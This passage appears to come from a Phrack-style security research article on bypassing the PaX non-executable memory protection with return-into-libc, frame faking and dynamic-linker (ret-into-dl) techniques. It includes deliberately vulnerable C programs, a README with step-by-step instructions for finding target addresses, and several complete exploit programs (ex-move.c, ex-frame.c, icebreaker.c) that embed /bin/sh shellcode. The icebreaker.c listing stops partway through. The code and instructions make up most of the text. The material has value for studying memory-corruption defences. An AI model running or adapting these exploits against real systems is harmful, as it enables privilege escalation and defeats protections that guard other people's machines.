similar) is available via PLT 6.1.2) during normal course of execution, the attacked binary copies user-provided data into a static (preferably) or malloced variable. ----[ 6.2 - Building the exploit We will try to emulate the code in dl-resolve.c sample exploit. When a rwx memory area is prepared with mmap (we will call mmap with the help of ret-into-dl), we will strcpy the shellcode there and return into the copied shellcode. We discuss the case of the attacked binary having been compiled without -fomit-frame-pointer and the "frame faking" method. We need to make sure that three related structures are placed properly: 1) Elf32_Rel reloc 2) Elf32_Sym sym 3) unsigned short verind (which should be 0) How the addresses of verind and sym are related ? Let's assign to "real_index" the value of ELF32_R_SYM (reloc->r_info); then sym is at SYMTAB+real_index*sizeof(Elf32_Sym) verind is at VERSYM+real_index*sizeof(short) It looks natural to place verind at some place in .data or .bss section and nullify it with two strcpy calls. Unfortunately, in such case real_index tends to be rather large. As sizeof(Elf32_Sym)=16, which is larger than sizeof(short), sym would likely be assigned the address beyond a process' data space. That is why in dl-resolve.c sample program (though it is very small) we have to allocate a few tens of thousands (RQSIZE) of bytes. Well, we can arbitrarily enlarge a process' data space with setting MALLOC_TOP_PAD_ environ variable (remember traceroute exploit ?), but this would work only in case of a local exploit. Instead, we will choose more generic (and cheaper) method. We will place verind lower, usually within read-only mmapped region, so we need to find a null short there. The exploit will relocate "sym" structure into an address determined by verind location. Where to look for this null short ? First, we should determine (by consulting /proc/pid/maps just before the attacked program crashes) the bounds of the memory region which is mmapped writable (the executable's data area) when the overflow occurs. Say, these are the addresses within [low_addr,hi_addr]. We will copy "sym" structure there. A simple calculation tells us that real_index must be within [(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16], so we have to look for null short within [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. Having found a suitable verind, we have to check additionally that 1) sym's address won't intersect our fake frames 2) sym's address won't overwrite any internal linker data (like strcpy's GOT entry) 3) remember that the stack pointer will be moved to the static data area. There must be enough room for stack frames allocated by the dynamic linker procedures. So, its best (though not necessary) to place "sym" after our fake frames. An advice: it's better to look for a suitable null short with gdb, than analyzing "objdump -s" output. The latter does not display memory placed after .rodata section. The attached ex-pax.c file is a sample exploit against pax.c. The only difference between vuln.c and pax.c is that the latter copies another environment variable into a static buffer (so 6.1.2 is satisfied). --[ 7 - Misc ----[ 7.1 - Portability Because PaX is designed for Linux, throughout this document we focused on this OS. However, presented techniques are OS independent. Stack and frame pointers, C calling conventions, ELF specification - all these definitions are widely used. In particular, I have successfully run dl-resolve.c on Solaris i386 and FreeBSD. To be exact, mmap's fourth argument had to be adjusted (looks like MAP_ANON has different value on BSD systems). In case of these two OS, the dynamic linker do not feature symbol versions, so ret-into-dl is even easier to accomplish. ----[ 7.2 - Other types of vulnerabilities All presented techniques are based on stack buffer overflow. All return-into-something exploits rely on the fact that with a single overflow we can not only modify %eip, but also place function arguments (after the return address) at the stack top. Let's consider two other large classes of vulnerabilities: malloc control structures corruption and format string attacks. In case of the previous, we may at most count on overwriting an arbitrary int with an arbitrary value - it is too little to bypass PaX protection genericly. In case of the latter, we may usually alter arbitrary number of bytes. If we could overwrite saved %ebp and %eip of any function, we wouldn't need anything more; but because the stack base is randomized, there is no way to determine the address of any frame. *** (Digression: saved FP is a pointer which can be used as an argument to %hn. But the succesfull exploitation would require three function returns and preferably an appropriately located user-controlled 64KB buffer.) *** I hope that it is obvious that changing some GOT entry (that is, gaining control over %eip only) is not enough to evade PaX. However, there is an exploitable scenario that is likely to happen. Let's assume three conditions: 1) The attacked binary has been compiled with -fomit-frame-pointer 2) There is a function f1, which allocates a stack buffer whose content we control 3) There is a format bug (or a misused free()) in the function f2, which is called (possibly indirectly) by f1. The sample vulnerable code follows: void f2(char * buf) { printf(buf); // format bug here some_libc_function(); } void f1(char * user_controlled) { char buf[1024]; buf[0] = 0; strncat(buf, user_controlled, sizeof(buf)-1); f2(buf); } Suppose f1() is being called. With the help of a malicious format string we can alter some_libc_function's GOT entry so that it contains the address of the following piece of code: addl $imm, %esp ret that is, some epilogue of a function. In such case, when some_libc_function is called, the "addl $imm, %esp" instruction will alter %esp. If we choose an epilogue with a proper $imm, %esp will point within "buf" variable, whose content is user controlled. From this moment on, the situation looks just like in case of a stack buffer overflow. We can chain functions, use ret-into-dl etc. Another case: a stack buffer overflow by a single byte. Such overflow nullifies the least significant byte of a saved frame pointer. After the second function return, an attacker has a fair chance to gain full control over the stack, which enables him to use all the presented techniques. ----[ 7.3 - Other non-exec solutions I am aware of two other solutions, which make all data areas non-executable on Linux i386. The first one is RSX [10]. However, this solution does not implement stack nor libraries base randomization, so techniques described in chapter 3 are sufficient to chain multiple function calls. Some additional effort must be invested if we want to execute arbitrary code. On RSX, one is not allowed to execute code placed in a writable memory area, so the mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) trick does not work. But any non-exec scheme must allow to execute code from shared libraries. In RSX case, it is enough to mmap(...PROT_READ|PROT_EXEC) a file containing a shellcode. In case of a remote exploit, the function chaining allows us to even create such a file first. The second solution, kNoX [11], is very similar to RSX. Additionally, it mmaps all libraries at addresses starting at 0x00110000 (just like in the case of Solar's patch). As mentioned at the end of 3.4, this protection is insufficient as well. ----[ 7.4 - Improving existing non-exec schemes (Un)fortunately, I don't see a way to fix PaX so that it would be immune to the presented techniques. Clearly, ELF standard specifies too many features useful for attackers. Certainly, some of presented tricks can be stopped from working. For example, it is possible to patch the kernel so that it would not honor MAP_FIXED flag when PROT_EXEC is present. Observe this would not prevent shared libraries from working, while stopping the presented exploits. Yet, this fixes only one possible usage of function chaining. On the other hand, deploying PaX (especially when backed by segvguard) can make the successful exploitation much more difficult, in some cases even impossible. When (if) PaX becomes more stable, it will be wise to use it, simply as another layer of defense. ----[ 7.5 - The versions used I have tested the sample code with the following versions of patches: pax-linux-2.4.16.patch kNoX-2.2.20-pre6.tar.gz rsx.tar.gz for kernel 2.4.5 You may test the code on any vanilla 2.4.x kernel as well. Due to some optimisations, the code will not run on 2.2.x. --[ 8 - Referenced publications and projects [1] Aleph One the article in phrack 49 that everybody quotes [2] Solar Designer "Getting around non-executable stack (and fix)" http://www.securityfocus.com/archive/1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470 [4] John McDonald "Defeating Solaris/SPARC Non-Executable Stack Protection" http://www.securityfocus.com/archive/1/12734 [5] Tim Newsham "non-exec stack" http://www.securityfocus.com/archive/1/58864 [6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683 [7] PaX team PaX http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl.openwall.com/misc/segvguard/ [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip [10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/ [11] Wojciech Purczynski kNoX http://cliph.linux.pl/knox [12] grugq "Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf <++> phrack-nergal/README.code !35fb8b53 The advanced return-into-lib(c) exploits: PaX case study Comments on the sample exploit code by Nergal First, you have to prepare the sample vulnerable programs: $ gcc -o vuln.omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.c You may strip the binaries if you wish. I. ex-move.c ~~~~~~~~~~~~ At the top of ex-move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched. 1) LIBC [nergal@behemoth pax]$ ldd ./vuln.omit libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 2) STRCPY [nergal@behemoth pax]$ objdump -T vuln.omit vuln.omit: file format elf32-i386 DYNAMIC SYMBOL TABLE: 08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv 08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy ^ |---- this is the address we seek 3) MMAP [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap 000db050 w DF .text 000000a0 GLIBC_2.1 mmap64 The address we need is 000daf10, then. 4) POPSTACK We have to find "add $imm,%esp" followed by "ret". We must disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit". To simplify, we can use [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret ...some crap -- 80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...more crap We have found the esp moving instructions at 0x80484be. 5) POPNUM This is the amount of bytes which are added to %esp in POPSTACK. In the previous example, it was 0x2c. 6) PLAIN_RET The address of a "ret" instruction. As we can see in the disassembler output, there is one at 0x80484c1. 7) FRAMES Now, the tough part. We have to find the %esp value just after the overflow (our overflow payload will be there). So, we will make vuln.omit dump core (alternatively, we could trace it with a debugger). Having adjusted all previous #defines, we run ex-move with a "testing" argument, which will put 0x5060708 into saved %eip. [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <- all OK [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit'. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () If in the %eip there is other value than 0x5060708, this means that we have to align our overflow payload. If necessary, "scratch" array in "struct ov" should be re-sized. (gdb) info regi ... esp 0xbffffde0 0xbffffde0 ... The last value we need is 0xbffffde0. II. ex-frame.c ~~~~~~~~~~~~~~ Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC, STRCPY, MMAP and FRAMES should be determined in exactly the same way like in case of ex-move.c. LEAVERET should be the address of a "leave; ret" sequence; we can find it with [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret So, we may use 0x80484bd for our purposes. III. dl-resolve.c ~~~~~~~~~~~~~~~~~ We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl-resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run [nergal@behemoth pax]$ objdump -x dl-resolve In the output, we see: [...crap...] Dynamic Section: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (!!!) SYMTAB 0x8048170 (!!!) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (!!!) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (!!!) The PLT_SECTION can also be retrieved from "objdump -x" output [...crap...] Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl-resolve.c again. Then run it under strace. At the end, there should be something like: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? As we see, mmap() is called, though it was not present in dl-resolve.c's PLT. Of course, I could have added the shellcode execution, but this would unnecessarily complicate this proof-of-concept code. IV. icebreaker.c ~~~~~~~~~~~~~~~~ Nine #defines have to be adjusted. Most of them have already been explained. Two remain: FRAMESINDATA and VIND. 1) FRAMESINDATA This is the location of a static (or malloced) variable where the fake frames are copied to. In case of pax.c, we need to find the address of "bigbuf" array. If the attacked binary was not stripped, it would be easy. Otherwise, we have to analyse the disassembler output. The "bigbuf" variable is present in the arguments to "strncat" function in pax.x, line 13: strncat(bigbuf, ptr, sizeof(bigbuf)-1); So we may do: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc -- 80484e5: 68 ff 03 00 00 push $0x3ff <- 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf 80484f2: e8 75 fe ff ff call 0x804836c So, the address of bigbuf is 0x8049ac0. 2) VIND As mentioned in the phrack article, we have to determine [lowaddr, hiaddr] bounds, then search for a null short int in the interval [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. [nergal@behemoth pax]$ gdb ./icebreaker (gdb) set args testing (gdb) r Starting program: /home/nergal/pax/./icebreaker testing Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x4ffb7d30 in ?? () <- icebreaker executed pax (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x5060708 in ?? () <- pax has segfaulted (gdb) shell [nergal@behemoth pax]$ ps ax | grep pax 1419 pts/0 T 0:00 pax [nergal@behemoth pax]$ cat /proc/1419/maps 08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr 4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4ffcd000-4ffce000 rw-p 00000000 00:00 0 4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 500f5000-500f9000 rw-p 00000000 00:00 0 bfff6000-bfff8000 rw-p fffff000 00:00 0 [nergal@behemoth pax]$ exit exit (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 0x804847b (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8 0x804867b /* so, we search for a null short in [0x804847b, 0x804867b] (gdb) printf "0x%x\n", 0x804867b-0x804847b 0x200 (gdb) x/256hx 0x804847b ... a lot of beautiful 0000 in there... Now read the section 6.2 in the phrack article, or just try a few of the addresses found. <--> <++> phrack-nergal/vuln.c !a951b08a #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { char buf[16]; char * ptr = getenv("LNG"); if (ptr) strcpy(buf,ptr); } <--> <++> phrack-nergal/ex-move.c !81bb65d0 /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define POPSTACK 0x80484be #define PLAIN_RET 0x80484c1 #define POPNUM 0x2c #define FRAMES 0xbffffde0 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* This is a stack frame of a function which takes two arguments */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; /* The beginning of our overflow payload. Consumes the buffer space and overwrites %eip */ struct ov { char scratch[28]; unsigned int eip; }; /* The second part ot the payload. Four functions will be called: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7 main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* To make the code easier to read, we initially return into "ret". This will return into the address at the beginning of our "zero1" struct. */ theov.eip = PLAIN_RET; } memset(&thebuf, 'Y', sizeof(thebuf)); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Also the "start" field must be the multiple of page. We have to nullify its least significant byte with a strcpy call. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Same as above. Be careful not to include MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; /* The final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln.omit", "./vuln.omit", 0, env, 0); } <--> <++> phrack-nergal/pax.c !af6a33c4 #include <stdlib.h> #include <string.h> char spare[1024]; char bigbuf[1024]; int main(int argc, char ** argv) { char buf[16]; char * ptr=getenv("STR"); if (ptr) { bigbuf[0]=0; strncat(bigbuf, ptr, sizeof(bigbuf)-1); } ptr=getenv("LNG"); if (ptr) strcpy(buf, ptr); } <--> <++> phrack-nergal/ex-frame.c !a3f70c5e /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define LEAVERET 0x80484bd #define FRAMES 0xbffffe30 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* See the comments in ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln", "./vuln", 0, env, 0); } <--> <++> phrack-nergal/dl-resolve.c !d5fc32b7 /* by Nergal */ #include <stdlib.h> #include <elf.h> #include <stdio.h> #include <string.h> #define STRTAB 0x8048240 #define SYMTAB 0x8048170 #define JMPREL 0x8048354 #define VERSYM 0x80482f8 #define PLT_SECTION "0x080483cc" void graceful_exit() { exit(123); } void doit(int offset) { int res; __asm__ volatile (" pushl $0x01011000 pushl $0xffffffff pushl $0x00000032 pushl $0x00000007 pushl $0x01011000 pushl $0xaa011000 pushl %%ebx pushl %%eax pushl $" PLT_SECTION " ret" :"=a"(res) :"0"(offset), "b"(graceful_exit) ); } /* this must be global */ Elf32_Rel reloc; #define ANYTHING 0xfe #define RQSIZE 60000 int main(int argc, char **argv) { unsigned int reloc_offset; unsigned int real_index; char symbol_name[16]; int dummy_writable_int; char *tmp = malloc(RQSIZE); Elf32_Sym *sym; unsigned short *null_short = (unsigned short*) tmp; /* create a null index into VERSYM */ *null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr, "mmap symbol entry is too far, increase RQSIZE\n"); exit(1); } strcpy(symbol_name, "mmap"); sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB; sym->st_value = (unsigned int) &dummy_writable_int; sym->st_size = ANYTHING; sym->st_info = ANYTHING; sym->st_other = ANYTHING & ~3; sym->st_shndx = ANYTHING; reloc_offset = (unsigned int) (&reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int; doit(reloc_offset); printf("not reached\n"); return 0; } <--> <++> phrack-nergal/icebreaker.c !19d7ec6d /* by Nergal */ #include <stdio.h> #include <stddef.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #define STRCPY 0x080483cc #define LEAVERET 0x08048359 #define FRAMESINDATA 0x08049ac0 #define STRTAB 0x8048204 #define SYMTAB 0x8048164 #define JMPREL 0x80482f4 #define VERSYM 0x80482a8 #define PLT 0x0804835c #define VIND 0x804859b #define MMAP_START 0xaa011000 char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in our payload. So, we shift the name by 1 (one 'x'). */ #define NAME_ADD_OFF 1 char mmap_string[] = "xmmap"; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_plt_args { unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct my_elf_rel { unsigned int r_offset; unsigned int r_info; }; struct my_elf_sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* ELF spec say: No defined meaning, 0 */ unsigned short st_shndx; /* Section index */ }; struct ourbuf { struct two_arg reloc; struct two_arg zero[8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname[sizeof(mmap_string)]; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; #define PTR_TO_NULL (VIND+1) /* this functions prepares strcpy frame so that the strcpy call will zero a byte at "addr" */ void fix_zero(struct ourbuf *b, unsigned int addr, int idx) { b->zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero) + sizeof(struct two_arg) * (idx + 1); b->zero[idx].func = STRCPY; b->zero[idx].leave_ret = LEAVERET; b->zero[idx].param1 = addr; b->zero[idx].param2 = PTR_TO_NULL; } /* this function checks if the byte at position "offset" is zero; if so, prepare a strcpy frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location */ void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, FRAMESINDATA + offset, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } /* same as above, but prepare to nullify a byte not in our payload, but at absolute address abs */ void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, (unsigned int) addr, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } int main(int argc, char **argv) { char lng[sizeof(struct ov) + 4 + 1]; char str[sizeof(struct ourbuf) + 4 + 1]; char *env[3] = { lng, str, 0 }; struct ourbuf thebuf; struct ov theov; int i; unsigned int real_index, mysym, reloc_offset; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMESINDATA; theov.eip = LEAVERET; } strcpy(lng, "LNG="); memcpy(lng + 4, &theov, sizeof(theov)); lng[4 + sizeof(theov)] = 0; memset(&thebuf, 'A', sizeof(thebuf)); real_index = (VIND - VERSYM) / 2; mysym = SYMTAB + 16 * real_index; fprintf(stderr, "mysym=0x%x\n", mysym); if (mysym > FRAMESINDATA && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr, "syment 